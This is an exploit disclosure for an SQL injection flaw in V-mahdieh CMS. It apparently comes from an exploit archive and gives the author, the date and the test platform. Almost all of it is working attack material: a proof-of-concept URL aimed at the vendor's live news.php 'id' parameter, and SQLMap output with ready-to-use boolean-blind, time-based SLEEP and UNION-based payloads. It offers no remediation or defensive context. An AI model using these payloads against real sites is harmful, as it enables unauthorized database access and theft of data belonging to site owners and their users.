=========================================================
# Exploit Title: V-mahdieh CMS - SQL Injection
# Date: 2021-11-23
# Exploit Author: Mr.B3nY
# Vendor Homepage: www.v-mahdieh.ir
# Tested on: Parrot OS
# Vulnerability : SQL Injection Vulnerability
=========================================================
[+] POC    :-  https://v-mahdieh.ir/news.php?id=5'
=========================================================

SQLMap
++++++++++++++++++++++++++
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 1646=1646 AND 'BfjV'='BfjV

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=5' AND (SELECT 1651 FROM (SELECT(SLEEP(5)))gqgj) AND 'kqNx'='kqNx

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=-2588' UNION ALL SELECT NULL,CONCAT(0x716b627171,0x6373764a625551477a6e4f6773614f4e764a62566b6f545a5851574b556279505a416b6776477965,0x71626b6a71),NULL,NULL-- -
=========================================================